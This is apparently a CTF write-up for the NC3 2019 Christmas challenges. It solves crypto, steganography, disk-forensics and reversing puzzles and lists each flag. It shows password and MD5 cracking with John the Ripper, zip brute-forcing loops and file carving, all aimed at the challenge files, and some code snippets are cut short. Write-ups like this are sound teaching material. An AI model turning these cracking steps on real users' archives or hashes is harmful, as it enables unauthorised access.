1.6243453636632417,C;-0.6117564136500754,b;-0.5281717522634557,O;-1.0729686221561705,v;0.8654076293246785,S;-2.3015386968802827,V;1.74481176421648,b;-0.7612069008951028,T;0.31903909605709857,g;-0.2493703754774101,B;1.462107937044974,Y;-2.060140709497654,s;-0.3224172040135075,q;-0.38405435466841564,5;1.1337694423354374,S;-1.0998912673140309,q;-0.17242820755043575,B;-0.8778584179213718,H;0.04221374671559283,F;0.5828152137158222,K;-1.1006191772129212,A;1.1447237098396141,Z;0.9015907205927955,J;0.5024943389018682,y;0.9008559492644118,y;-0.6837278591743331,j;(and so on)

A team member noticed that the numbers were directly from numpy's random generator of normally distributed numbers using the seed 1 (this holds true for every number in the dataset, barring floating-point parsing errors):

>>> import numpy as np
>>> np.random.seed(1)
>>> np.random.randn(20)
array([ 1.62434536, -0.61175641, -0.52817175, -1.07296862,  0.86540763,
       -2.3015387 ,  1.74481176, -0.7612069 ,  0.3190391 , -0.24937038,
        1.46210794, -2.06014071, -0.3224172 , -0.38405435,  1.13376944,
       -1.09989127, -0.17242821, -0.87785842,  0.04221375,  0.58281521])

As for the letters, we ran a frequency distribution, showing every letter was more or less equally represented, save for a significant oversupply of the letters N, C and 3:

This is again roughly where we got stuck - attempting to derive the generation of the letters using the associated numbers or the same RNG seed failed. Our hypothesis at this point was that the letters were picked randomly after generating the numbers, with the flag inserted next certain numbers fulfilling specific criteria - meaning we would have to either sort or filter the pairs and extract the flag that way. After a lot of trial and error we ended up discovering the proper filter was abs(number) > 3, leading to the following Python code extracting it:

for line in open("output").read().split(";"):
    if not line:
    number, char = line.split(",")
    if abs(float(number)) > 3:
        print(char, end="")
$ python3

Flag: NC3{NaughtyN1ceDeterminat0r!}



We're given alle_kan_vre_med.txt, containing a brief explanation of what a CTF is, what a flag looks like, and a very basic flag challenge, so everyone has a chance to solve something:

Husk at et "flag" bare er en tekst, der skal findes i hver eneste opgave.

Disse flag har altid samme format:
Her er flaget altså:
Denne tekst indtastes derfor som flaget på konkurrencens hjemmeside.

Et godt fif er at bruge CyberChef, der kan konvertere mange forskellige data formater.

Vi starter ud med en lille opgave, hvor alle kan være med:
Find nu flaget i denne tekst:

The challenge here being to reverse every word of the flag at the bottom, revealing the text "jeg er med" (I'm participating).

Flag: NC3{jeg_er_med}


We're given skru_op.png containing the flag written in the top left corner:


Gæt Et Format

We're given gaet_et_format.txt ("guess a format"), containing this Base64-encoded string:


Decoded, this reveals the flag:

Flag: NC3{der_kan_bruges_mange_forskellige_formater} (many different formats can be used)


We're given enplusdiretreds.minforkortelse (oneplussixtyfour.myextension), containing the text:

En plus 64 ... hold afstand og giv plads, for nu får den maks gas! - Velkendt udtryk i nissekredse, især brugt i de legendariske 80'ere om hurtige computere (ca. 1 MHz)!


Decoding the Base64 inside the flag brachets reveals the string ibs_ophfo_tfu_njo_epccfmu_ejtlfuuftubujpo??, which when all letters are shifted one place to the left in the alphabet (ROT-1/ROT25), reveals the inner part of the flag. This is what the title/text of the challenge refers to - the flag was encoded using ROT1 followed by Base64 (1 + 64), and undoing that reveals the flag again.

Flag: NC3{har_nogen_set_min_dobbelt_diskettestation??}


We're given onion.Ron.7z (well, technically onion.Ron.opdateret20191128.7z, since this challenge has been updated after release). Unzipping gets us onion.Ron, containing the following text:

Jeg *hjerte* Ron og julen! Ron og julen er n1ce! - Ukendt citat fra 1987


The mention of a "Ron" and the year 1987 here refers to Ron Rivest (co-inventor of RSA), who designed the encryption algorithms RC2 and RC4 in 1987. Solving this challenge also required a lot of trial and error, especially since we originally assumed RC4 was involved somehow (made a brute-force script and everything...), but the real solution was relatively simple.

The challenge text mentions the words "Ron" and "julen" twice. Decrypting the given hex string with RC2 and the password "julen" reveals another hex string:


Decrypting this again with the password "Ron" gets us a Base64 string containing the flag. Here it's clear the challenge title, "Onion", refers to there being multiple layers of encryption and formats.

The three layers of the onion.

The three layers of the onion.

Flag: NC3{flere_lag_det_er_ingen_sag} (multiple layers, that's no problem)

Hardcore Crypto!!

We're given Hardcore_Crypto.7z containing a text file with the same name, reading:

13 skridt frem, og 13 skridt tilbage. Vi har en vild guldjul, og så er der kage! -Yderst kendt citat fra 1500-tallet.


Decoding that Base64 string results in... nonsense, sadly - just garbage bytes, nothing of interest. However, the hint mentions the "1500s", pointing towards using the Vigenère cipher, originally described in the year 1553 (notably: not by anyone named Vigenère!). Applying the Vigenère cipher to the Base64-encoded string itself with the key "guldjul" (picked an interesting word from the flavor text, as you do), reveals another Base64 string which can be decoded to something useful: AP3{pelcgb_re_gbgny_frwg__aåe_qrg_oehtrf_evtgvtg}

The flavor text also mentions "13 steps forward/back", so applying a ROT13 to that gets us the actual flag.

Flag: NC3{crypto_er_total_sejt__når_det_bruges_rigtigt}


We're given, which is encrypted with a password. There's no other accompanying information with the challenge, nor is there anything of interest in the zip file's metadata, so we'll have to brute-force the password. Here I'm using John the Ripper (since I couldn't get Hashcat working), specifically the jumbo variant available in the Arch repositories:

$ zip2john > crypto_dumper.hash
ver 81.9 is not encrypted, or stored with non-handled compression type
$ john crypto_dumper.hash
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
12345            (
1g 0:00:00:06 DONE 2/3 (2019-11-29 23:11) 0.1607g/s 7077p/s 7077c/s 7077C/s 123456..ferrises
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Alright, our output line 12345 ( tells us the password is 12345. Very secure... Let's unzip:

$ 7z x -p12345

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
Everything is Ok

Size:       23028
Compressed: 19221

The .zip file contains the single image crypto_dumper.png, which just looks like this:

The image's just the CTF front page's header image, but it contains some very faint text in the bottom right made visible by flood-filling the background:

The image contains the text XOR j.

The image contains the text XOR j.

Opening the image in a hex editor reveals a large chunk of hex-encoded data appended to the image file after the PNG footer:

Converting this to bytes reveals nothing useful right off the bat, but XORing with the letter j gets us a BZip2-encoded file stream, which gets us another stream of hex-encoded data, which again gets us Base64-encoded data, which finally gets us an ELF file.

The above chain of decoding as a CyberChef recipe.

The above chain of decoding as a CyberChef recipe.

Opening this ELF binary in our old friend radare2 and decompiling the main function gets us this:

$ r2 crypto_dumper.elf
[0x00001150]> aaa
[0x00001150]> s main
[0x00001070]> pdg
// WARNING: [r2ghidra] Failed to match type int for variable argc to Decompiler type: Unknown type identifier int

undefined8 main(undefined8 argc, char **argv)
    int32_t iVar1;
    undefined8 uVar2;
    int64_t iVar3;
    uint8_t *puVar4;
    uint8_t *puVar5;
    bool bVar6;
    bool bVar7;
    uint8_t uVar8;
    // [14] -r-x section size 689 named .text
    uVar8 = 0;
    sym.imp.puts("#nc3ctf2019 :: CRYPTO_DUMPER");
    bVar6 = (int32_t)argc == 0;
    bVar7 = (int32_t)argc == 1;
    if ((int32_t)argc < 2) {
        sym.imp.puts("Dette virkelig advancerede program tager 1 parameter - og KUN en! -Hilsen drillenissen!");
        uVar2 = 2;
    } else {
        iVar3 = 0xd;
        puVar4 = (uint8_t *)argv[1];
        puVar5 = (uint8_t *)"jeg_er_parat";
        do {
            if (iVar3 == 0) break;
            iVar3 = iVar3 + -1;
            bVar6 = *puVar4 < *puVar5;
            bVar7 = *puVar4 == *puVar5;
            puVar4 = puVar4 + (uint64_t)uVar8 * -2 + 1;
            puVar5 = puVar5 + (uint64_t)uVar8 * -2 + 1;
        } while (bVar7);
        if ((!bVar6 && !bVar7) == bVar6) {
            if ((int32_t)argc == 2) {
                sym.imp.puts("\nDet var da fint ...");
            } else {
                iVar1 = sym.imp.strcmp(argv[2], "HELT_PARAT!");
                if (iVar1 == 0) {
                    sym.imp.puts("\nOK, OK, her er lidt til samlingen:");
                if ((int32_t)argc != 3) {
                    iVar1 = sym.imp.strcmp(argv[3], "julemand");
                    if (iVar1 == 0) {
                        sym.imp.puts("\nKEY IV:");
        uVar2 = 0;
    return uVar2;

This program takes three parameters (despite it insisting it only takes one). Giving it all three parameters it's asking for gets us this text:

$ chmod +x crypto_dumper.elf
$ ./crypto_dumper.elf jeg_er_parat HELT_PARAT! julemand
#nc3ctf2019 :: CRYPTO_DUMPER

OK, OK, her er lidt til samlingen:

We get a nice block of hex-encoded data and a key and IV, which we can now plug into an AES decryptor, giving us a nice block of formatted hex:


Note that a few of these are identical - it turns out these are individual MD5 hashes. They're all fairly short, and can be cracked pretty easily with, say, John the Ripper:

$ cat crypto_dumper_md5s.txt
$ john --format=raw-MD5 --fork=8 crypto_dumper_md5s.txt 
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
3                (?)
{                (?)
_                (?)
_                (?)
_                (?)
_                (?)
}                (?)
DA               (?)
NC               (?)
ER               (?)
HER              (?)
DET              (?)
NEMT             (?)
$ john --format=raw-MD5 --show crypto_dumper_md5s.txt 

This gets us the flag!


Bonus: we could just have pasted the block into HashKiller, which works for these specific hashes, but rely on them being short or common enough to be in the site's preexisting rainbow tables:

Plugging the hashes into HashKiller could get us the flag too.

Plugging the hashes into HashKiller could get us the flag too.

Easy Pass

We're given EasyPass.html, which is a distribution of the single-file portable web-based password manager EveryPass. Note that this challenge has multiple versions. Our team solved version 2 (in the old_versions/ directory in the challenge .zip file), but an update was later released with a slightly different solution. I'll be describing version 3 below.

Opening the .html file in a browser gets us a password prompt with the password hint "Favorit udvikler" ("favorite developer"). Checking the source code, either through Inspect Element or just opening the file in a text editor, reveals the HTML comment <!-- Page created by SantaTheDev -->:

The EasyPass interface, along with HTML comment.

The EasyPass interface, along with HTML comment.

This, of course, reveals that the password's simply SantaTheDev. After entering this, we can see two password entries, one with the username julemanden (Santa Claus), and one with the username note:

The EasyPass interface after password entry, showing the usernames julemanden and note.

The EasyPass interface after password entry, showing the usernames julemanden and note.

This is where the version differences kick in. In version 1 and 2, there was a single entry with the username being a Mega download link to an image (provided as nc3_logo.png). Here, the flag was written in the top left corner of the image in faint text. However, they quickly realised that a large amount of traffic to a single Mega link is a great way to get it automatically taken down for abuse (which broke v1 before we could solve that one), so they ended up removing that mechanic in the final version.

Here, the data in the julemanden password is a Base64-encoded OpenSSL-encrypted string. However, as far as I can tell, this is a red herring (as was a similar encrypted string in the older versions), as the flag is simply the note string decoded using Base58.

Flag: NC3{En_lille_nisse}

You Shall Not Pass

We're given YouShallNotPass.html, which, just like EasyPass, was a distribution of EveryPass. However, there's no password hint this time, and it doesn't look like there are any obvious vulnerabilities in EveryPass, so this one was never solved.



We're given rudolf.txt, containing a series of decimal numbers. Converting these to bytes and interpreting them as a PNG image gets us the flag written in the image.



We're given, a relatively large zip file (~36MB), that just contains a single file: Juleønsker.001 (where the ø is encoded weirdly). Running file on it results in:

$ file Jule$'\302\233'nsker.001
Julesker.001: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS    ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 1, heads 1, dos < 4.0 BootSector (0x80), FAT (1Y bit by descriptor); NTFS, sectors/track 1, sectors 81407, $MFT start cluster 3392, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 0329676089675cd3b

So, we've got an NTFS disk image. Why not mount it? Superuser so helpfully tells us how, so:

$ mkdir mnt 
$ sudo mount -o loop -t ntfs julensker.001 mnt/
The disk contains an unclean file system (0, 0).
Metadata kept in Windows cache, refused to mount.
Falling back to read-only mount because the NTFS partition is in an
unsafe state. Please resume and shutdown Windows fully (no hibernation
or fast restarting.)
Could not mount read-write, trying read-only
$ ls mnt/
'$RECYCLE.BIN'  'Den hemmelige mappe'   Juleønsker.db  'System Volume Information'

Okay, this looks promising. Let's take a look at what's in here:

$ tree
   └── S-1-5-21-JUL2019102-NISSE60715-OPGAVER563-CTF0
       └── desktop.ini
├── Den hemmelige mappe
   ├── Kodeordhusker.txt
   ├── Meget hemmeligt kodeord.txt
   └── Meget hemmeligt
├── Juleønsker.db
└── System Volume Information
    ├── EfaSIDat
       └── SYMEFA.DB

So, we've got a database file of christmas wishes, a "Kodeordhusker" (password mnemonic) and a few "Meget hemmeligt kodeord"s (very secret password) - a text file with some flavor text and a password-protected zip file. (That, and some Windows garbage we don't care about).

The password mnemonic contains:

Nissen fra Hemmelig Sektor's navn+Alder på barn med ID5+Et af barn 11's ønsker

Meaning "name of elf from Secret Sector + age of child with ID 5 + one of child 11's wishes". Maybe we can find this information in the database file...

$ sqlite3 mnt/Juleønsker.db
SQLite version 3.27.2 2019-02-25 16:06:06
Enter ".help" for usage hints.
sqlite> .schema
	"Navn"	TEXT,
	"Alder"	INTEGER,
	"Artigfaktor"	INTEGER,
	"Ønske"	TEXT
	"Navn"	TEXT,
	"Afdeling"	TEXT

Alright, so we've got some children (Børn), some wishes (Ønsker), and some elves (Nisse). First, we need the name of the nisse from the secret sector...

sqlite> select * from Nisse;
2|Gamle Skæg|HR
3|Navi Gation|Rejseplanen
6|Jule Nissen|NC3
8|Drillepind|Afdeling Sjov

Cool, which sector? There's no secret sector here. Maybe something was deleted from the SQLite file... SQLite files are garbage-collected - when a row is deleted from the file, it's not actually deleted until the VACUUM command is run. It'll still be in the file, just not accessible. So, if we run strings...

$ strings mnt/Juleønsker.db
SQLite format 3
Efterskole ophold	
5	TystysDen hemmelige sektor
DrillepindAfdeling Sjov

What's this, 5 TystysDen hemmelige sektor? So, his name is Tystys. Got it.

How about the kid's age?

sqlite> select Alder from Børn where ID = 5;

Cool, they're 11 years old. How about Kid #11's wishes?

sqlite> select Ønske from Ønsker where BarnID = 11;

They want some clothes, a dinosaur, a tramboline [sic], and a little brother. Cute. Which one of these is part of the password? Who knows? Time to brute-force.

So, we've got:

  • The secret elf: Tystys
  • The kid's age: 11
  • The (other) kid's wishes: Tøj, Dinosaur, Trambolin or Lillebror.

There are only really four combinations here, so doing it by hand is perfectly reasonable - but that's no fun. Let's write a shell command to try unzipping with every possible password:

$ for pw in Tystys11{Tøj,Dinosaur,Trambolin,Lillebror}; do unzip -P "$pw" "mnt/Den hemmelige mappe/Meget hemmeligt"; done
Archive:  mnt/Den hemmelige mappe/Meget hemmeligt
   skipping: Meget hemmeligt kodeord.txt  incorrect password
Archive:  mnt/Den hemmelige mappe/Meget hemmeligt
 extracting: Meget hemmeligt kodeord.txt  
Archive:  mnt/Den hemmelige mappe/Meget hemmeligt
   skipping: Meget hemmeligt kodeord.txt  incorrect password
Archive:  mnt/Den hemmelige mappe/Meget hemmeligt
   skipping: Meget hemmeligt kodeord.txt  incorrect password
$ cat "Meget hemmeligt kodeord.txt"
$ cat "Meget hemmeligt kodeord.txt" | base64 -d

Flag: NC3{tystys_nissen}


We're given ("zip-nightmare"), a zip file that contains another zip file, which contains another zip file, which contains another zip file...

Eight layers of the zip file.

Eight layers of the zip file.

Trying to unzip these by hand is a fool's errand, as there are certainly hundreds of layers (why wouldn't there be?), so I made a Python script to recursively unzip every file it finds and extract every non-zip file to the current working directory:

import zipfile, io

zip_queue = [open("", "rb")]

while zip_queue:
    f = zip_queue.pop(0)
    zf = zipfile.ZipFile(f)

    for inner_name in zf.namelist():
        if inner_name.endswith(".zip"):
            print("Extracted non-zip file:", inner_name)

Let's see...

$ python3
Extracted non-zip file: hint.txt
Extracted non-zip file: flag.txt
Extracted non-zip file: zzzz.txt
Extracted non-zip file: !.txt
$ cat flag.txt

Flag: NC3{godt_det_er_overstået} (glad that's over...)


We're given WordPerfekt.wpd, a WordPerfect file that (thankfully!) opens fine in LibreOffice. I went digging in the XML files for anything flag-like, but didn't get far (only found a troll).

The file opened in LibreOffice Writer.

The file opened in LibreOffice Writer.

Opening it shows a single page containing an image saying "POLITI" (police), "NC3", and a string of 17 numbers at the bottom: 9,2,3,4,5,6,7,8,1,10,11,12,13,17,15,16,14. However, I noticed the reported character count didn't seem right. There definitely aren't 20 words, 1,308 characters here. Perhaps NC3 used the age-old trick for expanding school essays of making some gibberish really small and white. Let's try selecting all and changing font size and color:

Changing all text to 12pt red shows us a secret...

Changing all text to 12pt red shows us a secret...

There's something. Here's the full text:


Curiously, there are 17 lines of text, seemingly Base64-encoded. However, they're not in order. the = character, only used for padding the end of a Base64 string, is on line 14, which is also shorter than the rest. We were also given 17 numbers before, so perhaps we need to put the lines in that order?


This gets us a more reasonable-looking Base64 string, which we can now decode and form a JPEG image, giving us the flag. The image is in poor quality, so the letters can be hard to read - I wasted a few attempts entering the number 0 as the letter O instead.

Flag: NC3{0KAY_okai}


We're given indrammet_julemand.txt, again a text file with a bunch of decimal-encoded bytes. Decoding these gets us a link right off the bat, which... well, enter it yourself and see.

This link might be too obvious...

This link might be too obvious...

Fuck... moving on. So, it looks like there's something useful in the rest of the file, barring that plain-text link. We could jut tell CyberChef to cut off those first few bytes, but I kind of want to show off binwalk, which I haven't yet, so let's try that:

$ binwalk -e indrammet_julemand.bin 

24            0x18            gzip compressed data, last modified: 2019-10-14 07:50:51

Looks like the rest of the file is gzipped, which binwalk, with the -e flag, has helpfully extracted and ungzipped:

$ ls _indrammet_julemand.bin.extracted
18  18.gz
$ file _indrammet_julemand.bin.extracted/18
_indrammet_julemand.bin.extracted/18: PNG image data, 782 x 26, 8-bit colormap, non-interlaced`

Renaming this file to have a .png extension and opening it in GIMP reveals an all-red image. Red herring, right? Not so fast! Plus, not like we have anything else to work with. file says it's an "8-bit colormap", which means the image's stored as a list of indices to a central palette. A common steganography trick is to store data in the image data itself, but make a palette that assigns every value to the same color. Let's try messing with the palette. GIMP can do it!

The image file opened in GIMP with the Colormap widget open.

The image file opened in GIMP with the Colormap widget open.

Here we have our plain red image, with the "Colormap" pane opened (Windows -> Dockable Dialogs -> Colormap). As we can see, the first two colors in the palette are the same shade of red we see in the image, so it's not a stretch to assume that some pixels are using the first palette index, and others the second. Let's change one to black and one to white by selecting a color in the palette and hitting the pencil icon:

The image file with the palette changed.

The image file with the palette changed.

Now we see some text, giving us the flag:

The full palette-corrected image.

The full palette-corrected image.

Flag: NC3{julemandens_rensdyr_på_tur}

Nisse IT support

This challenge was released towards the end of the CTF, presumably to give people a final challenge to upset the scoreboard. Whether they were successful in that is up to debate.

We're given, containing Juledisk.001. Similar to Juleønsker, this is another disk image, containing lots of potentially interesting data:

$ file Juledisk.001
Juledisk.001: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS    ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 1, heads 1, dos < 4.0 BootSector (0x80), FAT (1Y bit by descriptor); NTFS, sectors/track 1, sectors 39934, $MFT start cluster 405, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 0ea3449b634498713; contains bootstrap BOOTMGR
$ binwalk Juledisk.001

4829184       0x49B000        PNG image, 267 x 218, 8-bit/color RGB, non-interlaced
4829275       0x49B05B        Zlib compressed data, compressed
7929344       0x78FE00        PNG image, 218 x 278, 8-bit/color RGBA, non-interlaced
7949824       0x794E00        JPEG image data, JFIF standard 1.01
7949854       0x794E1E        TIFF image data, big-endian, offset of first image directory: 8
7962112       0x797E00        JPEG image data, JFIF standard 1.01
7982592       0x79CE00        PNG image, 218 x 278, 8-bit/color RGBA, non-interlaced
7982683       0x79CE5B        Zlib compressed data, compressed
10190728      0x9B7F88        End of Zip archive, footer length: 22

However, this isn't as simple as just mounting the disk using our previous technique:

$ sudo mount -o loop -t ntfs Juledisk.001 mnt/
mount: [path snipped]/mnt: wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.

Weirdly, 7zip will let us extract it:

$ 7z x -ojuledisk/ Juledisk.001

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_DK.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-7500U CPU @ 2.70GHz (806E9),ASM,AES-NI)
Size = 20446720
Path = Juledisk
Type = NTFS
There are data after the end of archive

Warnings: 1
Folders: 10
Files: 21
Alternate Streams: 5
Alternate Streams Size: 273748
Size:       2537868
Compressed: 20446720
$ tree juledisk
   └── J-1-5-21-Julemanden-vaerksteds-nissepc001-drev
       └── desktop.ini
├── Jul2019.txt
├── Julemanden.png
├── Nissedisk (W).lnk
├── [SYSTEM]
   ├── $AttrDef
   ├── $BadClus
   ├── $Bitmap
   ├── $Boot
   ├── $Extend
   │   ├── $Deleted
   │   ├── $ObjId
   │   ├── $Quota
   │   ├── $Reparse
   │   ├── $RmMetadata
   │   │   ├── $Repair
   │   │   ├── $Repair:$Config
   │   │   └── $TxfLog
   │   ├── $UsnJrnl
   │   ├── $UsnJrnl:$J
   │   └── $UsnJrnl:$Max
   ├── $LogFile
   ├── $MFT
   ├── $MFTMirr
   ├── $Secure
   ├── $Secure:$SDS
   ├── $UpCase
   ├── $UpCase:$Info
   └── $Volume
└── System Volume Information
    ├── EfaSIDat
       └── SYMEFA.DB
    └── WPSettings.dat

9 directories, 26 files

However, the only files of interest we see here is a crudely-drawn picture of Santa Claus and a file stating the date of Christmas Eve:

$ cat juledisk/Jul2019.txt
Det er den 24/12


Clearly there's something more going on here. I ended up experimenting with a wide array of "NTFS recovery tools", file carving tools, and so on, before finally stumbling upon RecuperaBit, which did the trick. It's not available in the Arch repositories or the AUR, so we'll have to do some manual instruction following (boring!):

$ git clone
$ $ python2 RecuperaBit/ -o juledisk2/ Juledisk.001  # grr, python 2...
     ___                                ___ _ _   
    | _ \___ __ _  _ _ __  ___ _ _ __ _| _ |_) |_ 
    |   / -_) _| || | '_ \/ -_) '_/ _` | _ \ |  _|
    |_|_\___\__|\_,_| .__/\___|_| \__,_|___/_|\__|
                    |_|   v1.1.1
    (c) 2014-2017, Andrea Lazzarotto <>
    Released under the GPLv3

Type [Enter] to start the analysis or "exit" / "quit" / "q" to quit: 
INFO:root:Analysis started! This is going to take time...
INFO:root:Found NTFS boot sector at sector 0
INFO:root:Found NTFS file record at sector 16
INFO:root:2 partitions found.

Write command ("help" for details):
> recoverable
Partition #0 -> Partition (NTFS, 4.75 MB, 36 files, Recoverable, Offset: 0, Offset (b): 0, Sec/Clus: 8, MFT offset: 3240, MFT mirror offset: 16)
Partition #1 -> Partition (NTFS, 14.75 MB, 64 files, Recoverable, Offset: 9727, Offset (b): 4980224, Sec/Clus: 8, MFT offset: 19791, MFT mirror offset: 9743
> restore 1 5
Rebuilding partition...
INFO:root:Restoring #5 Root
INFO:root:Restoring #37 Root/System Volume Information
INFO:root:Restoring #67 Root/Firk
INFO:root:Restoring #0 Root/$MFT
INFO:root:Restoring #55 Root/Noget er ikke som det ser ud.txt
INFO:root:Restoring #58 Root/NisseOS
INFO:root:Restoring #59 Root/NisseOS/START
INFO:root:Restoring #60 Root/NisseOS/START/STARTER NISSE OS SCRIPT.txt
INFO:root:Restoring #1 Root/$MFTMirr
INFO:root:Restoring #4 Root/$AttrDef
INFO:root:Restoring #2 Root/$LogFile
INFO:root:Restoring #10:$Info Root/$UpCase:$Info

Write command ("help" for details):
> quit
$ tree juledisk2
└── Partition1
    └── Root
        ├── $AttrDef
        ├── $BadClus
        ├── $Bitmap
        ├── $Boot
        ├── $Extend
           ├── $Deleted
           ├── $ObjId
           ├── $Quota
           ├── $Reparse
           ├── $RmMetadata
           │   ├── $Repair
           │   ├── $Repair:$Config
           │   ├── $Txf
           │   └── $TxfLog
           │       ├── $Tops
           │       ├── $Tops:$T
           │       ├── $TxfLog.blf
           │       ├── $TxfLogContainer00000000000000000001
           │       └── $TxfLogContainer00000000000000000002
           ├── $UsnJrnl
           └── $UsnJrnl:$Max
        ├── $LogFile
        ├── $MFT
        ├── $MFTMirr
        ├── $RECYCLE.BIN
           └── J-1-5-21-Julemanden-vaerksteds-nissepc001-drev
               ├── $IR13NTX.txt
               ├── $ITO13FT.txt
               ├── $RR13NTX.txt
               ├── $RTO13FT.txt
               └── desktop.ini
        ├── $Secure
        ├── $Secure:$SDS
        ├── $UpCase
        ├── $UpCase:$Info
        ├── $Volume
        ├── anter.png
        ├── Fejlede forsøg
           ├── H3X0S88888888 2.jpg
           └── H3X0S88888888 - Kopi 2 - Kopi.png
        ├── Firk
        ├── Firkanter.png.bak
        ├── Flaget dagbog.txt
        ├── NisseOS
           └── START
               └── STARTER NISSE OS SCRIPT.txt
        ├── Noget er ikke som det ser ud.txt
        ├── Original
           ├── H3X0S88888888 i png.png
           └── H3X0S88888888.jpg
        ├── System Volume Information
           ├── EfaSIDat
           │   └── SYMEFA.DB
           └── WPSettings.dat
        ├── Test
           ├── 0000 0111 1011 0010 0000 0110 0101
           └── Vejtest.txt
        └── Users
            └── Nisse1
                └── Seneste tilgåede filer
                    └── Firkanter.lnk

19 directories, 44 files

So, we've managed to extract a lot more files. The most interesting of these are Flaget dagbog.txt (flag diary), containing a mock "diary", essentially describing the solution:

Dag 1
Tænke over hvad flaget skal være
Handle ind til risengrød efter arbejde.

Dag 2
Skal det være et af følgende?

Det må jeg tænke over.
Skal hente ungerne i nissahaven.

Dag 6
Nu har jeg det. Ingen af de førhen tænkte. Julen er så sød.

Dag 9
Ændre header, men kun header eller kan jeg ikke selv finde ud af det igen. De fire første var gimp. Nu er de �PNG
Og jo filendelsen.

Dag 11
Julemanden må ikke finde det. Så jeg har skjult det godt.
Julemanden er ikke så god til filer så derfor har jeg delt det til 2 filer.
Hvor pokker er nu mit deleværktøj henne.

Dag 12
Bakuppen ødelagt.
Og smørklatten er at alt ser ud til at være sket den 06/12/19.
Mangler bare at destruere denne dagbog.

"Day 9" describes changing the file header ("first four") from gimp to �PNG, as well as the file extension. "Day 11" describes splitting the file into two files, since "Santa Claus isn't very good at files". We can also see two files named Firk and anter.png, respectively, and the aforementioned (destroyed, as of Day 12) backup Firkanter.png.bak. So, let's try joining those two files and see what happens?

$ cat Firk anter.png > Firkanter.png
$ xxd -l 32 Firkanter.png
00000000: 8950 4e47 2078 6366 2066 696c 6500 0000  .PNG xcf file...
00000010: 0180 0000 00da 0000 0000 0000 0011 0000  ................

The diary describes changing the "first four" from gimp to �PNG - undoing that with a hex editor should give us a valid GIMP .xcf file (with the header gimp xcf file).

Firkanter.png opened in GIMP.

Firkanter.png opened in GIMP.

We see an image containing some random squares (hence, "Firkanter"), as well as a few other layers. Hiding the topmost layer gets us the flag:

Firkanter.png with the top layer hidden.

Firkanter.png with the top layer hidden.

Flag: NC3{tak_du_fandt_den} (thanks, you found it)


En lille tur

We're given lilletur.kmz - kmz being a geographical marker file format used by Google Earth and others. Luckily, an online tool exists for displaying these files. Opening lilletur.kmz in that gets us a short path ("lille tur") somewhere around Skovmose spelling out the flag.

lilletur.kmz plotted on Google Maps.

lilletur.kmz plotted on Google Maps.


Stop juletyven

We're given Plan_til_julekup_2019.pptx (Plan for Christmas heist 2019), containing a single slide describing a "treasure map":

The single slide in Plan_til_julekup_2019.pptx.

The single slide in Plan_til_julekup_2019.pptx.

Looking under File -> Properties in LibreOffice Impress reveals some interesting metadata and comments:

The content of the Description pane.

The content of the Description pane.

The content of the Custom Properties pane.

The content of the Custom Properties pane.

We have the keywords "nøglen kræver 5 omgange" (the key requires 5 rounds), the title "Politiøjne" (police eyes), the subject "Husk gaver har tredobbelt værdi" (remember gifts have triple value), the category property "jul i ord x2" ("Christmas" in words times 2), the contentStatus property "Det sker om 8 dage" (it happens in 8 days), as well as an indexed "word list":

0: Juletyven
1: Julen bliver min. 
2: NC3{
3: kan
4: ikke
5: _
6: stoppe
7: mig
8: }
9: Juletyvens
10: hemmelig
11: Julemanden
12: plan
13: __

This was another of those "guessing" challenges, where it's really about trying a bunch of things until you stumble upon the correct solution. We have a bunch of numbers given in the hints:

  • The key requires 5 rounds.
  • Police eyes: there are 2 of them on the slide.
  • There are 3 gifts, each with triple value, giving 9 gift(-values).
  • The slide contains the word "jul" 6 times, times two is 12.
  • It happens in 8 days.

Taking these numbers' corresponding values in the word list and putting them in an order that makes sense gets us 2, 9, 5, 12, 8, or NC3{, Juletyvens, _, plan, and }, which combined gets us the flag.

Flag: NC3{Juletyvens_plan}


This is an interesting one, for sure. We're given, containing H3X0S88888888rus.png. This image is corrupted and refuses to open in most image editors - however GIMP will gladly attempt to read at least the valid parts of it, revealing the top portion of the image:

H3X0S88888888rus.png opened in GIMP.

H3X0S88888888rus.png opened in GIMP.

Now, I actually managed to recover the entire image itself. This ended up not being relevant to the challenge, but was still a very interesting ordeal I might make a separate post about. Here's the gist, though:

  • Ran pngcheck on it, identified an issue with the row filters being invalid - row filters being a single byte preceding each vertical row of the image data, describing the way pixels are encoded. This is a value between 0 and 4, but this PNG had values of 255 scattered around the place, which leads to the conclusion that the bitstream is somehow shifted, causing the wrong data to end up in the row filters' place.
  • The CRC32 checksum in the PNG's IDAT block didn't match up with the data inside of it, so we can conclude that the data was modified after the PNG file was encoded.
  • The zlib checksum inside the data doesn't match up with the decompressed data either, so we can conclude the modification happened in the PNG file itself, not in the underlying image data stream.
  • I cloned tinf and modified the source slightly to patch out the zlib checksum check so I could get at the raw image data itself. I then wrote a Python script to "correct" the row headers to just 0x00 and export a new valid PNG file with this data. This gets us a corrupted but visible version of the rest of the image:
H3X0S88888888rus.png with row headers and checksums fixed.

H3X0S88888888rus.png with row headers and checksums fixed.

  • I then modded tinf more, and made it spit out each DEFLATE "instruction" to stdout (push literal byte, push backreference, etc), as well as positions both in the input and output stream, as well as the pixel location in the image. I noticed some recurring patterns indicating the start of each row (a single 00 byte followed by a load of ffffffff bytes, etc) getting disrupted around row 50, which is where the corruption starts in the image file itself. I deleted a few rows' worth of of DEFLATE instructions until I saw the patterns line up again, which got me a less corrupted image:
H3X0S88888888rus.png with the corrupted DEFLATE instructions removed.

H3X0S88888888rus.png with the corrupted DEFLATE instructions removed.

